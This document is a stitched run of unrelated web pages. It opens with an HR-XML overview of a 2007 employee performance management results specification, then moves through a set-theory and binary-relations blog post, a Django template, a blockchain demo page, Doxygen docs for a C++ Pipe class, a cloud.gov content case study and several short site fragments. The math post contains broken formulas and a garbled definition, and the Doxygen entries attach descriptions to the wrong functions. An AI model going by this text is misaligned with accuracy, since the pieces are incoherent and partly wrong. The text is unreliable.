Employee Performance Management Results: Overview
Recommendation, 2007 April 15
Editor:
Chuck Allen, HR-XML Consortium, Inc.
Contributors:
Adam Amato, Data Solutions, Inc.; Kim Bartkus, HR-XML Consortium, Inc.; Dawn MacKay, Halogen Software; Sreenivasa Ampavati, Kenexa; Pramod Mathur, Lawson; Mark Weber, PDI; Paul Storfer, PDI; Peg Jermyn, Microsoft ; Romuald Restout, Talent Technology Corp.; David B Turetsky, Workscape
Copyright © 2007 HR-XML Consortium, Inc.
Abstract
HR-XML Consortium’s Employee Performance Management (EPM) Results Specification defines a flexible set of web services operations and related XML schemas that can be used in integrating EPM result data with various talent management systems. This document provides an overview of requirements behind the HR-XML Consortium’s Employee Performance Management (EPM) Results Specification and identifies the related documentation and XML assets.
1.3.5 Multi-Rater Assessments / 360 Degree Reviews
1.3.7 Position Competency Model
1.3.8 Remuneration Recommendation
2 Business Process Actors / Use Cases
2.1 Design Requirement: Message Granularity Suited to Use Case
3 How This Specification is Organized
1 Appendix A - Document Version History
2 Appendix B – Related Documents
Many enterprises recognize that the value of their employee performance management processes increases significantly when supporting EPM systems are well integrated with other talent management components.
In the current market for talent management solutions, more EPM systems being offered as part of integrated talent management suites. Talent management suites with “out-of-the-box” integration will be increasingly prominent within the marketplace and will be useful in meeting many business requirements. Nevertheless, the need for agile methodologies for integrating EPM and other talent management components at arms-length can also be expected to persist. The need for agile methodologies for arms-length EPM integration isn’t likely to disappear (and may well increase!) simply due to the great variety of enterprise requirements, the great diversity of providers and specialties within the talent-management ecosphere, and because “change” is the only long-established constant within the human capital management domain.
Broadly speaking, these domain and market characteristics helped shape interest within the HR-XML community in the development of a set of flexible, industry-endorsed integration standards for employee performance management.
The goal of this specification is to define a flexible set of web services operations that can be used in integrating result data (and other associated outputs) from employee performance management (EPM) systems with arms-length talent management systems. Among the common talent management components with which EPM systems may integrate are compensation management, learning management, internal-hire management, succession planning, competency management, assessment, expertise location and knowledge management, as well as business performance management systems.
This section introduces key terms and concepts used within this specification.
Part of a performance management process usually involves the setting of objectives or development of an objective plan. Objectives may have specific metrics associated with them will be used in determining whether the objective is obtained. Objectives can be logically grouped with a broad objective containing sub-objectives.
Objective results or ratings set against the objective targets are a key output of an appraisal process.
Employees are usually rated with respect to competencies required for the effective performance of the positions/roles they hold. Competencies (and ratings thereof) can be grouped so that some competencies are referenced as a component of a broader competency group or category. Rather than rate competencies directly, raters sometimes are asked to evaluate “behavioral indicators” of a competency – the observable activities/behavior of an employee that evidence a competency. There also may be different categories of competency ratings. For instance, one section of an appraisal may pertain to “skills” whereas another may pertain to “mission and values”.
A development plan/goal may be set when appraisal identifies a gap between the employee’s competencies and position requirements or when new competencies or increased proficiency is required for a new role.
A multi-rater review is a process under which an employee is evaluated by more than one person.
An example of a multi-rater review approach is “360 degree” review. Under a 360 degree review, an employee receives feedback from a range of stakeholders, including peers, subordinates, supervisors, and customers. Note that 360 degree reviews are more commonly used for developmental and feedback purposes than for performance appraisal. HR-XML’s EPM Results specification is sufficiently flexible so that it might be used to support a variety of multi-rater reviews.
For compensation purposes, for ranking performers within their job categories, and to provide a boiled-down indicator of an employee’s effectiveness, an overall rating (a numeric or descriptive rating) usually is an output of a performance management process. In some cases, the overall rating is a mathematic computation based on a rollup of ratings for objectives.
Competency ratings, and to an extent objectives, stem from either a formal or implied profile or model of position requirements. For purposes of this specification, this profile for a position is referred to as a “position competency model.” A data model to support description of position competency models is not within the scope of this specification, but is a topic of on-going work by HR-XML’s Performance Management and Competency Workgroups.
This is the communication of a recommended pay increase or adjustment on the based on the results of a performance management process. The remuneration recommendation contains the employee’s overall rating, ratings/results against objectives, plus a recommended pay increase or incentive payout. Typically, the supervisor of the employee being rated would generate the remuneration recommendation and that supervisor’s manager would be the one to act upon it (approve, amend, etc.). Note that while use of the remuneration recommendation may fit some patterns of integration between EPM and compensation systems, in others, the pay recommendation/approval process may be handled completely within the compensation system and may not require integration with the EPM system.
Remuneration is the preferred term used by the HR-XML Consortium in referring to monetary payment (e.g., salary) and related incentives or benefits (stock, deferred savings, etc.) tendered in exchange for services rendered. Remuneration is preferred over the term “compensation” because “compensation” in some countries and cultures is more closely associated with the concept of “restitution” or payment for damages. Note that in this document, the two terms are used interchangeably because in the context of HR information systems, the phrase “compensation system” has more specific meaning and is used more frequently than “remuneration system”.
Some performance management processes incorporate “stack ranking”. A "stack rank" refers to a unique cardinal position for each person within an organization or designated comparison group. "Stack ranking" is also sometimes referred to as "forced ranking". Within HR-XML’s data model, a stack rank is an optional component within “Overall Rating” (see Section 1.3.5, Overall Rating).
Figure 3: EPM Result Components illustrates how components of an EPM result (the concepts introduced in Section 1.3, Terminology / Concepts) relate to one another. At the top of the diagram is a “Position Competency Model”.
Figure 3: EPM Result Components
Table 1: System Actors and EPM Result Use Cases and Figure 1: EPM Result Use Cases catalog system actors and use cases related to results/outputs from EPM systems. Not all integrations will involve all of these system actors. In some cases, a single system may fulfill the role of more than one of the systems identified below.
Table 1: System Actors and EPM Result Use Cases
|
Actor |
Role / Use Case |
|
HRIS or “core” HR system |
|
|
Business Performance Management System |
Individual objective plans and achievements roll-up into organizational objectives and achievements – so some business performance management systems may receive outputs from employee performance management systems, including:
|
|
Compensation System |
|
|
Competency Management System |
|
|
Assessment Provider |
|
|
Learning Management System |
|
Figure 1: EPM Result Use Cases
Rather than taking a “one-size-fits-all” approach, a design requirement was to develop messages with the appropriate composition and granularity for use case and target system. Table 4: Analysis of Data Requirements by Target System shows the HR-XML Performance Management Workgroup’s high-level analysis of the requirements of each target system.
Table 4: Analysis of Data Requirements by Target System
|
|
Business Perform-ance Mgt. System |
HRIS |
Compensation Mgt. System |
Competency Mgt. System |
Assessment |
Learning Mgt. System |
|
Result Metadata (type appraisal, dates, prepared by) |
Yes |
Yes |
Yes |
Yes |
Yes |
|
|
Overall Performance Rating |
Yes |
Yes |
Yes – If compensation may be based on score |
Yes |
Yes |
Yes |
|
Objective Results |
Yes |
No |
Yes – If compensation may be based on scores |
Yes |
Yes |
Not generally. |
|
Competency Ratings |
No |
No |
Less likely to be tied to compensation – generally not included. |
Yes. Useful for validating and refining job competency model and associated definitions. |
Yes. Useful for validating and refining test items. |
Yes. May illustrate learning achievements and gaps that development plans need to fill. |
|
Developmental Plans |
No |
No |
No |
Possibly |
Possibly |
Yes |
|
Objectives Plans |
Yes |
No |
Yes |
No |
No |
No |
|
Interim Results Against Plan |
Yes |
No |
Yes |
No |
No |
No |
|
Compensation Recommendation |
No |
Yes, in some instances |
Yes, in some instances |
No |
No |
No |
This document provides an overview of the HR-XML Employee Performance Management Result (HR-XML EPM Result) Specification and a guide to the separate documents and resources that comprise the specification. In this document, you will find background on the business domain, a high-level description of use cases considered, a description of terminology and key concepts, and a clarification of the design scope. The other documentation and resources that makes up this specification are described in the sections that follow.
The following scenarios documents address the use of the schemas and web services operations defined by the HR-XML EPM Results Specification in various business contexts:
These scenarios are non-normative.
HR-XML’s EPM Result Specification defines a number of “business document” or “wrapper” schemas. Each of these wrapper schemas is built from the same base of reusable data types. However, each has a composition and granularity intended to match a particular target system use case.
These schemas are briefly described in Table 1: HR-XML EPM Result Schemas. See Section 1.5.3, Data Requirements by Target System, for analysis behind the design of these schemas. Complete documentation of the schemas is provided in the separate scenario documents.
Table 2: HR-XML EPM Result Schemas
|
Wrapper Schema |
Description / Target System |
|
A set of reusable data types. The “wrapper” schemas below each include and constrain this broad set of data types applicable to EPM Results. |
|
|
This is a “full result” – a superset of result components intended for a target system requiring a full result -- typically competency management, assessment, and learning management systems. |
|
|
A summary, high-level result such as may be required by an HRIS or core HR system. |
|
|
Allows the specification of objectives, groups of objectives, and related metrics and metadata. Target systems include compensation management systems and business performance management systems. |
|
|
Is structured to correspond to EPMObjectivesPlan. Allows the reporting of individual objective results and groups of objectives. Can be used to provide interim or final results to a Business Performance Management System or Compensation Management System. |
|
|
Contains the same information as EPMObjectivesResult, with the addition of a recommendation for a pay change on the basis of the results. The principal target system is a compensation management system. |
|
|
Contains developmental items or goals set as part of a performance management process. Development items also may be specified along with competency ratings within a full result (EPMResult.xsd). |
Figure 1, shows one possible application (with options and alternatives) of the range of web services operations encompassed by the specification. Figure 1 is useful in illustrating the scope of the operations defined by this specification, but is not intended to be normative.
Figure 2: EPM Results
The table below, describes the full set of Web services operations defined within this specification. The separate scenario documents (see Section 1, Scenarios, above) provide business context on how these may be applied.
Table 3: HR-XML EPM Web Services Operations
|
Operation Name |
Message Exchange Pattern |
WSDL File / Documentation |
|
CreateEPMDevelopmentPlan |
· Input: CreateEPMDevelopmentPlan · Output: Acknowledge · Fault: CreateEPMDevelopmentPlanFault |
|
|
UpdateEPMDevelopmentPlan |
· Input: UpdateEPMDevelopmentPlan · Output: Acknowledge · Fault: UpdateEPMDevelopmentPlanFault |
|
|
CancelEPMDevelopmentPlan |
· Input: CancelEPMDevelopmentPlan · Output: Acknowledge · Fault: CancelEPMDevelopmentPlanFault |
|
|
GetEPMDevelopmentPlan |
· Input: hrxml:GetEPMDevelopmentPlan · Output: hrxml:ShowEPMDevelopmentPlan · Fault: GetEPMDevelopmentPlanFault |
|
|
ProcessEPMFullResult |
· Input: ProcessEPMFullResult · Output: Acknowledge · Fault: ProcessEPMFullResultFault |
|
|
CreateEPMObjectivesPlan |
· Input: CreateEPMObjectivesPlan · Output: Acknowledge · Fault: CreateEPMObjectivesPlanFault |
|
|
UpdateEPMObjectivesPlan |
· Input: UpdateEPMObjectivesPlan · Output: Acknowledge · Fault: UpdateEPMObjectivesPlanFault |
|
|
CancelEPMObjectivesPlan |
· Input: CancelEPMObjectivesPlan · Output: Acknowledge · Fault: CancelEPMObjectivesPlanFault |
|
|
ProcessEPMObjectivesResult |
· Input: ProcessEPMObjectivesResult · Output: Acknowledge · Fault: ProcessEPMObjectivesResultFault |
|
|
ProcessEPMRemunerationResult |
· Input: ProcessEPMRemunerationResult · Output: Acknowledge · Fault: ProcessEPMRemunerationResultFault |
|
|
ProcessEPMSummaryResult |
· Input: ProcessEPMSummaryResult · Output: Acknowledge · Fault: ProcessEPMSummaryResultFault |
|
|
GetEPMObjectivesResult |
· Input: GetEPMObjectivesResult · Output: ShowEPMObjectivesResult · Fault: GetEPMObjectivesResultFault |
|
Date |
Description |
|
2007-Jan-22 |
First Draft |
|
2007-Feb-11 |
Revision |
|
2007-Feb-20 |
Updated to put in 2_5 release |
|
2007-April-15 |
Approved by Consortium |


We’ll be back soon Sorry for the inconvenience but we’re performing some maintenance at the moment. We’ll be back online shortly.


--- layout: post title: "Logic" date: 2017-08-18 comments: true maths: true tags: logic excerpt: Logic rules ---
Logic Rules
schema
stands in for infinitely many axioms.– E – E
– P – U – R – P
– I – C
– F
All of modern mathematics can be grounded without making any conceptual assumptions except for the inclusion relation (a.k.a. the epsilon relation or \(\epsilon\)–Relation) in axiomatic set theory. To this concept are add nine axioms which allow to build up the machinery for the advanced mathematics that theoretical physics uses. To formulate these axioms propositional and predicate logic provide the symbolic language we use. The nine axioms can be abbreviated as EE PURP IC F:
Basic Existence Axioms
E1: The Axiom on \(\epsilon-Relation \)
\(\forall x \forall y (x\in y) \veebar \neg (x\in y)\)
\(x\in y\) is a proposition if and only if \(x\) and \(y\) are both sets.
E2: Axiom of Existence of an Empty Set
\(\exists x \forall y: y\notin x\)
There exists a set \(x\) such that for all \(y\) it is true that \(y\) is not an element of \(x\). That is, there exists an empty set, a set that contains no elements.
Construction Axioms
P1: Axiom on Pair Sets
\(\forall x \forall y \exists m \forall u (u\in m\leftrightarrow u=x, u=y)\)
Let \(x\) and \(y\) be sets. Then there exists a set that contains as its elements precisely the sets \(x\) and \(y\). Or: For all \(x\) and for all \(y\), there exists a set \(m\), such that for all \(u\), \(u\) is an element of \(m\) if and only if \(u\) is \(x\) or \(u\) is \(y\).
U: Axiom on Union Sets
Let \(x\) be a set. Then there exists a set \(u\) whose elements are precisely the elements of the elements of \(x\).
\(\forall x \exists y \forall c (c\in y \leftrightarrow\exists z (c\in z \wedge z\in x))\)
R: Axiom of Replacement
\(\exists x\forall y \in a(\exists z A(y, z)\rightarrow\exists z\in x A(y, z) )\)
Let \(R\) be a functional relation. Let \(m\) be a set. Then the image of \(m\) under the functional relation \(R\) is again a set.
P2: Axiom on Existence of Power Sets
\(\forall \exists p \forall y (y\in p\leftrightarrow\forall z (z\in y\rightarrow z\in x))\)
Let \(m\) be a set. There exists a set denoted \(\mathbf{P}(m)\) whose elements are precisely the subsets of \(m\).
Further Existence/Construction Axioms
I: Axiom of Infinity
\(\exists m (\emptyset\in m \wedge \forall x\in m((x\cup {x}\in m)))\)
There exists a set that contains the empty set and with every of its elements \(y\) it also contains the set with the element \(y\) (or \({y}\)) as an element.
C: Axiom of Choice
\(\forall X((\forall x\in X\forall y\in X(x=y\leftrightarrow x\cap y\ne\emptyset))\rightarrow\exists z(\forall x\in X\exists ! y y\in x\cap z))\)
if you have a collection \(X\) of pairwise disjoint non-empty sets, then you get a set \(z\) which contains one element from each set in the collection. [Schuller, using different formulae: Let \(x\) be a set whose elements are non-empty and mutually disjoint, then there exists a set \(y\) which contains exactly one element of each element of \(x\).]
Non-Existence Axiom
F: Axiom of Foundation
\(x\neq\emptyset\rightarrow\exists y(y\in x\wedge y\cap x=\emptyset)\)
Every nonempty set is disjunct from one of its elements. [Schuller: Every non-empty set \(x\) contains an element \(y\) that has none of its elements in common with \(x\).]
Differential geometry works with space, and space is made of sets of points. So to study these things, we first will need to look at what sets are. But set theory itself cannot be the absolute foundation. Try to define a set, for example as a collection of elements, we would need some other concepts (which presumably we cannot assume at this foundational level); for example, how do we define a “collection” and an “element”? The way we will get around this is by constructing set theory on the basis of axioms rather than on such definitions. But in order to formulate these axioms, we first need a language, in this case, of propositional and predicate logic. [Note, while it may seem that Schuller will define the terms or concepts in propositional and predicate logic, he in fact uses a logical operator, the biconditional, which is understood merely in terms of its truth functionality, and what is being biconditionally combined are most basically just mechanically operable symbols.]
What could the first definition be? For a definition you need notions that you already have in order to define a new notion. But if you do not have any notion yet, how would you start? The trick is to start axiomatically, and so we will have to write out axiomatic set theory. But that then raises the question, in what language would you possibly do that? So, actually before we come to set theory, we need another building block down here, and that would be logic. And we will deal with propositional and predicate logic first. That will define our language. Then we will be able to write down the axioms of set theory. (quoting Schuller, 0.08.30 - 0.09.15)
Relations over a set
If \(X = Y\) then we simply say that the binary relation is over \(X\), or
that is an endorelation
over \(X\). In CS, such a relation is called a
homogeneous (binary) relation. Some types of endorelations
are
widely studied in graph theory, where they are known simple as
directed graphs permitting loops.
The set of binary relations \(\mathbf{\mbox{Rel}}(X)\) on a set \(X\) is
the set \(2^{X\times X}\) which is a Boolean algebra augmented with the
inovlution
of mapping of a relation to its inverse
relation.
Some important properties that a binary relation \(R\) over as set \(X\) may have are:
reflexive
: \(\forall x\in X\) it holds that \(xRx\). For example
"greater than or equal to" (\(\ge\)) is a reflexive relation but
"greater than" (>) is not.irreflexive
(or strict
): \(\forall x\in X\) it holds that not
\(xRx\). For example, \(>\) is an irreflexive relation, but \(\ge\) is
not.coreflexive relation
: \(\forall x\wedge y\in X\) it holds that if
\(xRy\) then \(x=y\). An example of a coreflexive
relation is the
relation on integers in which each odd number is related to itself
and there are no other relations. The equality relation is the only
example of a both reflexive and coreflexive relation, and any
coreflexive relation is a subset of teh identity relation.symmetric
: \(\forall x\wedge y\in X\) it holds that if \(xRy\) then
\(yRx\). "Is a blood relative of" is a symmetric relation, because \(x\)
is a blood relative of \(y\leftrightarrow y\) if a blood relative of
\(x\)antisymmetric
: \(\forall x\wedge y\in X\), if \(xRy\) and \(yRx\) then
\(x=y\). For example, \(\ge\) is anti-symmetric
; so is \(>\), but
vacuously (the condition in the definition is always false).asymmetric
: \(\forall x\wedge y\in X\), if \(xRy\) then not
\(yRx\). A
relation is asymmetic
if and only if it is both anti-symmetric
and irreflexive
. For example, \(>\) is asymmetic, but \(\ge\) is not.transitive
: \(\forall x, y\wedge z\in X\) it holds taht if \(xRy\) and
\(yRz\) then \(xRz\). For example, "is ancestor of" is transitive, while
"is parent of" is not. A transitive relation is irreflexive
\(\leftrightarrow\) it is asymmetric.total
: \(\forall x\wedge y\in X\) it holds that \(xRy\) or \(yRz\) (or
both) then \(xRz\). This definition of total
is different from left
total
in the previous section. For example, \(\ge\) is a total
relation.trichotomous
: \(\forall (x\wedge y)\in X\) exactly one of \(xRy\),
\(yRx\) or \(x=y\) holds. For example, \(>\) is a trichotomous relation,
while the relation "divides" on natural numbers is not.Right Euclidean
: \(\forall (x, y\wedge z)\in X\) it holds that if
\(yRx\) and \(zRx\). then \(yRz\)Left Euclidean
: \(\forall x, y\wedge z\in X\) it holds that if \(yRx\)
and \(zRx\), then \(yRz\).Euclidean
: A Euclidean relation is both left and right
Euclidean. Equality is a Euclidean relation because if \(x=y\wedge
x=z\), then \(y=z\).serial
: \(\forall x\in X\exists y: xRy\), "Is greater than" is a
serial relation on the integers. But it is not a serial relation on
the positive integers, because there is no \(y\) in the positive
integers such that 1>y. However, "is less than" is a serial relation
on the positive integers, the rational numbers and the real
numbers. Every reflexive relation is serial: for a given \(x\), choose
\(y=x\). A serial relation can be equivalently characterized as every
element having a non-empty successor neighborhood (see the previous
section for the definition of this notion). Similarly an inverse
serial relation is a relation in which every element has non-empty
predecessor neighborhood.set-like (or local)
: \(\forall x\in X\), the class of all \(y\) such
that \(yRx\) is a set. (This makes sense only if relations on proper
classes are allowed.) The usual ordering \(<\) on the class of ordinal
numbers is set-like, while its inverse \(>\) is not.
A relation that is reflexive, symmetric, and transitive is called an
equivalence relation
. A relation that is symmetric, transitive, and
serial is also reflexive. A relation that is only symmetric and
transitive (without necessarily being reflexive) is called a partial
equivalence relation
.
A relation that is reflexive, antisymmetric, and transitive is called
a partial order
. A linear order
where every nonempty subset has a least element
is called a
well-order
.
Binary endorelations by property
| reflexivity | symmetry | transitivity | symbol | example | |
|---|---|---|---|---|---|
| directed graph | \(\rightarrow\) | ||||
| undirected graph | \(X\) | \(\checkmark\) | |||
| tournament | \(X\) | antisymmetric | pecking order | ||
| dependency | \(\checkmark\) | \(\checkmark\) | |||
| strict weak order | irreflexive | antisymmetric | \(\checkmark\) | \(<\) | |
| total preorder | \(\checkmark\) | \(\checkmark\) | \(\le\) | ||
| preorder | \(\checkmark\) | \(\checkmark\) | \(\le\) | preference | |
| partial order | \(\checkmark\) | antisymmetric | \(\checkmark\) | \(\le\) | subset |
| partial equivalence | \(\checkmark\) | \(\checkmark\) | |||
| equivalence relation | \(\checkmark\) | \(\checkmark\) | \(\checkmark\) | \(-,=,\approx,\cong,\equiv\) | equality |
| strict partial order | \(X\) | \(X\) | \(\checkmark\) | \(<\) | proper subset |
Operations on Binary Relations
If \(R, S\) are binary relations over \(X and Y\), then each of the following is a binary relation over \(X\) and \(Y\):
Union
: \(R\cup S\subseteq X × Y\), defined as\(R\cup S = (x, y) | (x, y)\in R\; or (x, y)\in S\). For example, $ ≥ $ is the union of $ > $ and $ = $.
Intersection
: \(R\cap S\subseteq X × Y\), defined as
\(R\cap S = (x, y) | (x, y)\in R\) and \((x, y)\in S \).If \(R\) is a binary relation over \(X\) and \(Y\), and \(S\) is a binary relation over \(Y\) and \(Z\), then the following is a binary relation over \(X\) and \(Z\):
Composition
: \(S\circ R\), also denoted \(R\circ S\) (or \(R\circ S\)),defined as \(S\circ R = (x, z)|\exists y\in Y\), such that \((x, y)\in R\wedge (y, z)\in S\). The order of \(R\) and \(S\) in the notation \(S\circ R\), used here agrees with the standard notational order for composition of functions. For example, the composition "is mother of" \(\circ\) "is parent of" yields "is maternal grandparent of", while the composition "is parent of" \(\circ\) "is mother of" yields "is grandmother of". A relation \(R\) on sets \(X\) and \(Y\) is said to be contained in a relation \(S\) on \(X\) and \(Y\) if \(R\) is a subset of \(S\), that is, if \(xRy\) always implies \(xSy\). In this case, if \(R\) and \(S\) disagree, \(R\) is also said to be smaller than \(S\). For example, \(>\) is contained in \(\ge\).
If \(R\) is a binary relation over \(X\) and \(Y\), then the following is a binary relation over \(Y\) and \(X\):
Inverse or converse
: \(R^{-1}\), defined as\(R^{-1} = (y, x) | (x, y)\in R\). A binary relation over a set is equal to its inverse if and only if it is symmetric. See also duality (order theory). For example, "is less than" (\(<\)) is the inverse of "is greater than" (\(>\)). If \(R\) is a binary relation over \(X\), then each of the following is a binary relation over \(X\):
Reflexive closure
: \(R^{=}\), defined as\(R^{=} = (x, x) | x\in X\cup R\) or the smallest reflexive relation over \(X\) containing \(R\). This can be proven to be equal to the intersection of all reflexive relations containing \(R\).
Reflexive reduction
: \(R^{\ne}\), defined as \(R^{\ne} = R\ (x, x) | x\in X\)or the largest irreflexive relation over \(X\) contained in \(R\).
Transitive closure
: \(R^{+}\), defined as the smallest transitive
relation over \(X\)containing \(R\). This can be seen to be equal to the intersection of all transitive relations containing \(R\).
Reflexive transitive closure
: \(R^{*}\),defined as \(R^{*} = (R^{+})^{=}\), the smallest preorder containing \(R\). Reflexive transitive symmetric closure: \(R^{\equiv}\), defined as the smallest equivalence relation over \(X\) containing \(R\).
Complement
If \(R\) is a binary relation over \(X\) and \(Y\), then the following too:
The complement \(S\) is defined as \(xSy\) if not \(xRy\). For example, on real numbers, \(\le\) is the complement of \(>\). The complement of the inverse is the inverse of the complement.
If \(X=Y\), the complement has the following properties:
If a relation is symmetric, the complement is too. The complement of a reflexive relation is irreflexive and vice versa. The complement of a strict weak order is a total preorder and vice versa. The complement of the inverse has these same properties.
Restriction
The restriction of a binary relation on a set \(X\) to a subset \(S\) is the set of all pairs \((x, y)\) in the relation for which \(x\) and \(y\) are in \(S\).
If a relation is reflexive, irreflexive, symmetric, antisymmetric, asymmetric, transitive, total, trichotomous, a partial order, total order, strict weak order, total preorder (weak order), or an equivalence relation, its restrictions are too.
However, the transitive closure of a restriction is a subset of the restriction of the transitive closure, i.e., in general not equal. For example, restricting the relation "x is parent of y" to females yields the relation "x is mother of the woman y"; its transitive closure doesn't relate a woman with her paternal grandmother. On the other hand, the transitive closure of "is parent of" is "is ancestor of"; its restriction to females does relate a woman with her paternal grandmother.
Also, the various concepts of completeness (not to be confused with being "total") do not carry over to restrictions. For example, on the set of real numbers a property of the relation "\(\le\)" is that every non-empty subset \(S\) of \(R\) with an upper bound in \(R\) has a least upper bound (also called supremum) in \(R\). However, for a set of rational numbers this supremum is not necessarily rational, so the same property does not hold on the restriction of the relation "\(\le\)" to the set of rational numbers.
The left-restriction (right-restriction, respectively) of a binary relation between \(X\) and \(Y\) to a subset \(S\) of its domain (codomain) is the set of all pairs \((x, y)\) in the relation for which \(x(y)\) is an element of \(S\).


Are you sure you want to delete {{quiz}} ?
Summary
Quiz title: {{quiz}}
{% if question %}
Questions
{%endif%}
{%if question %}
{%for question in question%}
- *{{question.text}}
{% for choice in question.choice_set.all%}
- {{choice}}
{%endfor%}
{%endfor%}
{%else%}
No Questions Yet
{%endif%}


Mirror Party
About
Documentation
Demo
Video
Source Code
Donate
Contact
Contact
Email
<EMAIL_ADDRESS>@mirrorparty
on Twitter
#mirrorparty
on Freenode IRC
Mirror Party is developed by
Peter Fein
.
Please enable JavaScript to view the
comments powered by Disqus.
comments powered by
Disqus
Support development of Mirror Party. Kickstarter coming soon.
Loading...


PaulsDemo
Home
Blockchain
Miscellaneous
About
Alice
Transfer
To
Bob
Carol
Transfer
Balance:
0
Mine Block
Bob
Transfer
To
Alice
Carol
Transfer
Balance:
0
Mine Block
Carol
Transfer
To
Alice
Bob
Transfer
Balance:
0
Mine Block
Print Blockchain
This website is made for educational purpose only. I DO NOT own the image, sound effect or other resources on this website.


Class Pipe, that holds all the nessesary information for Pipe and it's details therefore we can use in the interface.
More...
#include <pipe.h>
|
| struct | Properties |
| | Struct with material specific properties TODO:Check if this can be moved to the base class. More...
|
| |
|
| enum class | Type : uint8_t { BEGIN = 0
, Pipe = BEGIN
, END
} |
| |
|
|
std::ostream & | operator<< (std::ostream &os, const Pipe &obj) |
| | Shift operator overload for class Aluminium, this will print all the nessesery informations.
|
| |
Class Pipe, that holds all the nessesary information for Pipe and it's details therefore we can use in the interface.
◆ Type
| Enumerator |
|---|
| Pipe | This grade is commercially pure aluminum. It is soft and ductile and has excellent workability, making it ideal for applications with difficult forming. It can be welded using any method, but it is non heat-treatable. It has an excellent resistance to corrosion and is commonly used in the chemical and food processing industries.
|
◆ Pipe()
| MassCalculator::Shapes::Pipe::Pipe |
( |
double |
side, |
|
|
double |
length |
|
) |
| |
Construct a new Pipe object.
- Parameters
-
| side | Side of the Pipe in meter |
| length | Length of the Pipe in meter |
◆ getDiagonal()
| double MassCalculator::Shapes::Pipe::getDiagonal |
( |
void |
| ) |
const |
Get the Radius object.
- Returns
- const double Radius of the Pipe
◆ getLength()
| double MassCalculator::Shapes::Pipe::getLength |
( |
void |
| ) |
const |
Get the Length object.
- Returns
- const double Length of the Pipe
◆ getSide()
| double MassCalculator::Shapes::Pipe::getSide |
( |
void |
| ) |
const |
Get the Side object.
- Returns
- const double Side of the Pipe
◆ getSurfaceArea()
| double MassCalculator::Shapes::Pipe::getSurfaceArea |
( |
void |
| ) |
const |
Get the Surface Area object.
- Returns
- double Surface Are of the Pipe
◆ getType()
| std::string MassCalculator::Shapes::Pipe::getType |
( |
void |
| ) |
const |
Get the Surface Area object.
- Returns
- double Surface Are of the Pipe
◆ getVolume()
| double MassCalculator::Shapes::Pipe::getVolume |
( |
void |
| ) |
const |
Get the Volume object.
- Returns
- double Volume of the Pipe
◆ setSize()
| bool MassCalculator::Shapes::Pipe::setSize |
( |
double |
side, |
|
|
double |
length |
|
) |
| |
Set the Size object.
- Parameters
-
| side | Side of the Pipe in meter |
| length | Length of the Pipe in meter |
- Returns
- true If setting the size is successful
-
false If setting the size fails
The documentation for this class was generated from the following files:
- /home/runner/work/masscalculator.github.io/masscalculator.github.io/MassCalculator/masscalculator-core/libraries/masscalculator-core/include/masscalculator/masscalculator-core/shapes/pipe.h
- /home/runner/work/masscalculator.github.io/masscalculator.github.io/MassCalculator/masscalculator-core/libraries/masscalculator-core/src/shapes/pipe.cc


cloud.gov is a Platform as a Service (PaaS) owned and operated by the U.S. General Services Administration’s Technology Transformation Service (TTS). It is intended to recover its costs from project teams and agencies that use it, so the ability to market its utility to potential government customers is paramount.
When I joined the team in fall of 2015, the sum total of material available to market the product was 5,000 words of longhand Q&A for our outreach and communications teams. We also had the expertise of the person who created cloud.gov in the first place, but unless you could navigate a command line, you could not learn for yourself what cloud.gov was all about. We needed government CIOs, product engineers, and compliance teams to understand why a sales conversation was worth their time. The website (much as the product name suggests should exist) was a simple opportunity to make that clear.
I started by breaking the Q&A down into a categorized content inventory. I captured light metadata about each answer: Security, cloud infrastructure, price, etc: what did each answer actually address? I also captured the audiences for the information in any given question. The most content-dense categories told me what we wanted to say about the product, while the alignment of audiences against those categories helped me understand which audiences we were ready to talk to.
I rewrote the content in sections based on how audiences lined up with sets of question categories. This new IA enabled coherent reading about an unfamiliar product without jumping around. I forefronted the content aimed at audiences we were most prepared for (team managers rather than information security officers). And because the engineering knowledge of government CIOs and other managers is a mixed bag, and we didn’t yet have a good sense of what customers were going to ask for, I emphasized a collegial rather than technical tone throughout.
Then we needed a homepage. To help federal IT decisionmakers see that cloud.gov existed for them, I focused on how that sense of collegiality led our team to create a product engineered for government’s cloud technology needs.
To find the right overall tone, our team’s visual designer and I looked at the design choices of private sector cloud platform vendors. We tried to match the way they handled claims to credibility and ease of use, and we tried to contrast ourselves on claims of focus. We wanted to emphasize that cloud.gov was built by and for government employees, people who had worked within the government’s particular security compliance needs without sacrificing functionality or usability. We launched with a homepage that offered a high-level narrative of why the product exists and why government users should have confidence in it.
After taking on a different project for a few months, I rejoined the cloud.gov team in 2016. After almost a year of selling and supporting customers on the platform, we had a storehouse of knowledge about what wasn’t working. I read through inquiries to the support inbox and sat in on customer and sales conversations. I conducted highlighter testing with people involved in selling other services that used cloud.gov to understand what potential customers were struggling to understand. If the website could better support these efforts, cloud.gov and sales of related services could see improved conversion rates.
My research showed that the original language was too abstract and focused on our rationale. It didn’t address customer goals. I revised the content to emphasize what customers were trying to achieve. I also forefronted the requirements for using cloud.gov, which reduced time lost to impossible leads.
cloud.gov’s initial direction gave the entire team a common, coherent story about the product, one that aligned everyone with the platform’s creator. It was flawed, but it gave us a great baseline for usability research and iteration. As we learned more about our customers, the content evolved. We could speak to their circumstances directly. The revised content led potential customers to ask confident questions more specific to their apps and teams when they contacted us about the product.
You can track ongoing changes to cloud.gov’s content on the cg-site GitHub repo


Just open PassGrid on your device and hold it up to your computer's camera. Line up the grid and click 'Verify' to sign in.
Sign up in seconds. Click the Send button below and we'll send you an email to verify you are who you say you are. You'll get a link in your inbox—open it on your phone and you can sign in right away.
Send me a PassGrid


---
layout: default
---
